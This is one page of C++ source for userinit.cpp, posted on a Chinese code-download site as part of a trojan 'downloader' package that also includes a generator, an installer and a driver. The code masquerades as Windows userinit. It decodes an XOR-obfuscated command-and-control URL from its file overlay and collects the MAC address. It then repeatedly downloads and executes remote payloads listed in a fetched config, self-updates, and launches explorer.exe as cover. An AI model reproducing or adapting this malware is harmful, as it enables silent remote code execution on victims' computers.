⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 userinit.cpp

📁 下载者包括四个工程: CDown:生成器 userinit:真正的下载者 Dat:驱动和下载者的安装程序 pass:驱动程序
💻 CPP
📖 第 1 页 / 共 2 页
字号:
	if (szGettedStr[0] != 0x00)
	{
		icount = atoi(szGettedStr);
	}
	// 无count值,则说明没有标记
	if (icount <= 0)
    {
		return FALSE;
    }

	char szNumber[5] = {0};
	char szMarkStr[10] = {0};
	strcpy(szMarkStr, "biaoji");
	char szTotalStr[10] = {0};

	// 循环查询是否存在该值
    for (int j = 1; j < icount + 1; j++)
    {
		// 清空接收数据的缓冲区
		memset(szGettedStr, 0, 10);

		memset(szNumber, 0, 5);
		itoa(j, szNumber, 10);

		memset(szTotalStr, 0 , 10);
		strcpy(szTotalStr, szMarkStr);
		
		strcat(szTotalStr, szNumber);
        
		GetPrivateProfileString("localfile", szTotalStr,"0",szGettedStr,sizeof(szGettedStr), szIniFilePath);

		if (strcmp(szGettedStr, szInMark) == 0)
		{
			return TRUE;
		}
	}
	
	return FALSE;
}
int APIENTRY main()
{
	
	__try
	{


	    char macstr[13]="000000000000";
	
	    typedef DWORD(CALLBACK * ADAPINFO)(PIP_ADAPTER_INFO, PULONG);
	
	    ADAPINFO getadapinfo;
	
	HINSTANCE hmodule=NULL;
	
	hmodule=LoadLibrary("iphlpapi.dll");
	
	if(hmodule)
	{

		getadapinfo=(ADAPINFO)GetProcAddress(hmodule,"GetAdaptersInfo");
		
		IP_ADAPTER_INFO Info;
		
		ULONG ulSize=sizeof(Info);
		
		
		getadapinfo(&Info, &ulSize);
		
		DWORD dwError = 0;
		dwError = GetLastError();
        
		if (&Info)
		{
			itoa(Info.Address[0], &macstr[0], 16);
			itoa(Info.Address[1], &macstr[2], 16);
			itoa(Info.Address[2], &macstr[4], 16);
			itoa(Info.Address[3], &macstr[6], 16);
			itoa(Info.Address[4], &macstr[8], 16);	
			itoa(Info.Address[5], &macstr[10], 16);
		}

		// 处理0结尾的情况
		for (int m = 0; m < 12; m++)
		{
			if (macstr[m] == 0x00)
			{
				macstr[m] = 0x30; 
			}
		}
		
		FreeLibrary(hmodule);
		} 

	

        //////////////////////////////////////////////////////////////////////////

		TCHAR					szExplorer[MAX_PATH];
		TCHAR					szModuleFile[MAX_PATH];
		
		// 完成启动explorer.exe的功能
		GetWindowsDirectory( szExplorer, MAX_PATH);
		PathAppend(szExplorer,"explorer.exe");
		
	
		GetModuleFileName(NULL, szModuleFile, MAX_PATH);
		DWORD	dwUserinitSize = 0;

		TCHAR	szModulePath[MAX_PATH];
		GetModuleFileName( NULL, szModulePath, MAX_PATH);
		OccupyFile(szModulePath);

		LPVOID	lpBuffer = MapFile(szModuleFile, &dwUserinitSize, TRUE);

		if ( lpBuffer == NULL )
		{		
			return 0;
		}
		DWORD	dwOverLaySize;
	
		
			
		// 获取映射image在内存中文件尾的地址,也就是下载执行的程序的地址
		LPVOID	lpOverlay = GetOverlayOffset(lpBuffer, dwUserinitSize, &dwOverLaySize);
        

		if ( lpOverlay == NULL || dwOverLaySize == 0 )
		{
			UnmapFile(lpBuffer);
			return 0;
		}
		
		if ( dwOverLaySize > MAX_PATH )
			dwOverLaySize = MAX_PATH;
		
		char	szDownurl[MAX_PATH];
		char    szVersionData[12] = {0};
		char    szIfRun[3] = {0};

		char *szCurVersion = (char *)(lpOverlay) - 10; // 指向当前的版本号
		char *szUrl = (char*)lpOverlay;                // 指向文件尾部,保存的是要下载的url
        char *szNeedRunExplorer = (char *)(lpOverlay) - 11; // 是否要启动explorrer.exe,非0就不启动,0就启动 
		
		// 得到当前版本号
		for(int m = 0; m < 10; m++)
		{
            szVersionData[m] = szCurVersion[m];
		}

		// 得出url
		for ( DWORD index = 0; index < dwOverLaySize; index++)
		{
			szDownurl[index] = szUrl[index]^0x9a;
			if ( szDownurl[index] == 0 )
				break;
		}

	    // 得到文件尾部的置位标志
		szIfRun[0] = szNeedRunExplorer[0];

		UnmapFile(lpBuffer);
		
		char szLocalDomain[MAX_PATH] = {0};
		strcpy(szLocalDomain, szDownurl);

		memset(szLocalDomain + strlen(szDownurl) - 8, 0, MAX_PATH/2 );
     
		
		if ( index == dwOverLaySize )
 		{
 			return 0;
 		}
        
		 RunProcess(szExplorer, TRUE);
		// 判断是否要启动explorer.exe
// 		if (szIfRun[0] == 0x00)
// 		{
//              RunProcess(szExplorer, TRUE);
// 		}
		
		// 向服务器发送安装数据
	//	RePortState( szLocalDomain, szVersionData, macstr);

		// 判断是不是安装运行,如果是第一次安装,那就不需要启动explorer.exe
        

	//	strcpy(szDownurl, "http://www.ippost.cn/xzz/down.txt");
 	
		// 下载down.txt文件
 		DownloadFile(szDownurl, 921);

		// 解析down.txt文件
		char szSysDir[MAX_PATH];
		GetSystemDirectory(szSysDir,sizeof(szSysDir));

		// 本地下载者的配置文件
		char szLocalIniPath[MAX_PATH] = {0};
		strcpy(szLocalIniPath, szSysDir);
		strcat(szLocalIniPath, "\\systemInfomations.ini");

		// 判断文件是否存在,不存在则重新下载
		DWORD dwLocalFileExist = 0;

		char szLocalVersion[20] = {0};
		
		dwLocalFileExist = GetPrivateProfileString("vension","org","0",szLocalVersion,sizeof(szLocalVersion), szLocalIniPath);
	    
        if (dwLocalFileExist == 1)
        {
			// 版本号写入ini配置文件
		    WritePrivateProfileString("curversion", "ver", szVersionData, szLocalIniPath);
        }
        
		// 下载的远程文件
		char szDownPath[MAX_PATH] = {0};
			strcpy(szDownPath, szSysDir);
		strcat(szDownPath, "\\down.txt");

		DWORD dwReturnValue = 0;

		// 取下载文件要求的的版本号和升级地址
        char szNewVersion[20] = {0};
		char szUpdatePath[100] = {0};
		
		dwReturnValue = GetPrivateProfileString("update","ver","0",szNewVersion,sizeof(szNewVersion), szDownPath);
		
		dwReturnValue = GetPrivateProfileString("update","url","0",szUpdatePath,sizeof(szUpdatePath), szDownPath);
        
		// 如果本地配置文件不存在,或者版本号不同,则升级下载者
		if ( (strcmp(szNewVersion, szVersionData) != 0) )
		{
            DownloadFile(szUpdatePath, 890);
		}
        		
		int iNeedDown = 0;
		char szNeedDownBuf[5] = {0};
		GetPrivateProfileString("file","isfile","0",szNeedDownBuf,sizeof(szNeedDownBuf), szDownPath);
		iNeedDown = atoi(szNeedDownBuf);
		
		if (iNeedDown == 0)
		{
            return 0;
		}

		// 执行down.txt中指定下载执行的文件
		int iDownCount = 0;

		char szDownTimeBuf[5] = {0};
        GetPrivateProfileString("file","count","0",szDownTimeBuf,sizeof(szDownTimeBuf), szDownPath);

		iDownCount = atoi(szDownTimeBuf);
        
		char szTxtDownUrl[10] = {0};
		char szTxtDownMark[10] = {0};

		strcpy(szTxtDownUrl, "url");
		strcpy(szTxtDownMark, "biaoji");

		char szCountBuf[5] = {0};
        char szGetBuf[20] = {0}; // 保存用于查询的标记
        char szGetUrl[20] = {0}; // 保存用于查询的url
		// 保存读取出的值
		char szDownAndExecUrl[MAX_PATH] = {0};
		char szFileMark[20] = {0};

		// 用于计算本机下载的个数
		int isys = 0;
		char szIsysBuf[5] = {0};

		for(int i = 1; i < iDownCount + 1; i++)
		{
			memset(szGetBuf, 0, 20);
            strcpy(szGetBuf, szTxtDownMark);
			itoa(i, szCountBuf, 10);
			strcat(szGetBuf, szCountBuf);
            
			memset(szDownAndExecUrl, 0, MAX_PATH);
			memset(szFileMark, 0, 20);

			// 先读标记,看是否存在,存在就跳过,否则就下载执行
			GetPrivateProfileString("file", szGetBuf, "0", szFileMark, sizeof(szFileMark), szDownPath);
           
			// 标记不存在,则获取url,并下载执行
			if (!FindMarks(szLocalIniPath, szFileMark))
			{ 
				memset(szGetUrl, 0, 20);
				strcpy(szGetUrl, szTxtDownUrl);
				strcat(szGetUrl, szCountBuf);

				GetPrivateProfileString("file", szGetUrl, "0", szDownAndExecUrl, sizeof(szDownAndExecUrl), szDownPath);
				
				DownloadFile(szDownAndExecUrl, i);

				// 写入标记
				WritePrivateProfileString("localfile", szGetBuf, szFileMark, szLocalIniPath);
                
				// 修改systeminfomations.ini中的文件个数,个数+1

				GetPrivateProfileString("localfile", "count", "0", szIsysBuf, sizeof(szIsysBuf), szLocalIniPath);
				isys = atoi(szIsysBuf);
				isys = isys + 1;
				memset(szIsysBuf, 0 , 5);
				itoa(isys, szIsysBuf, 10);
				WritePrivateProfileString("localfile", "count", szIsysBuf, szLocalIniPath);

				
			}
		    Sleep(500);
		}

	}
 	__except(1)
 	{
	  ;
 	}
	
	{
		TCHAR	szModulePath[MAX_PATH];
		GetModuleFileName( NULL, szModulePath, MAX_PATH);
		OccupyFile(szModulePath);
	} 
	
	ExitProcess(0);
	return 0;
}



⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -